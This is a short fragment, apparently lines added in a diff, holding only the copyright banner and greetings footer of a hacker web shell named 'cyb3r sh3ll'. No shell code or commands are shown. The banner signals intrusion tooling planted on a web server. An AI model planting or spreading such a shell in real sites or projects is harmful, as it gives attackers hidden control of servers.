+(C) Copyright cyb3r 9l4d!470r [All rights reserved] Greetz to : r45c4l bro, r8l35n4k, Cyb3R_s3CuR3 and all my friends who helped me a lot.--[ cyb3r sh3ll v. Coded by cyb3r 9l4d!470r (cyber gladiator) | h4cK2b0yZz.. | Generation time: ]--
+
+
+
+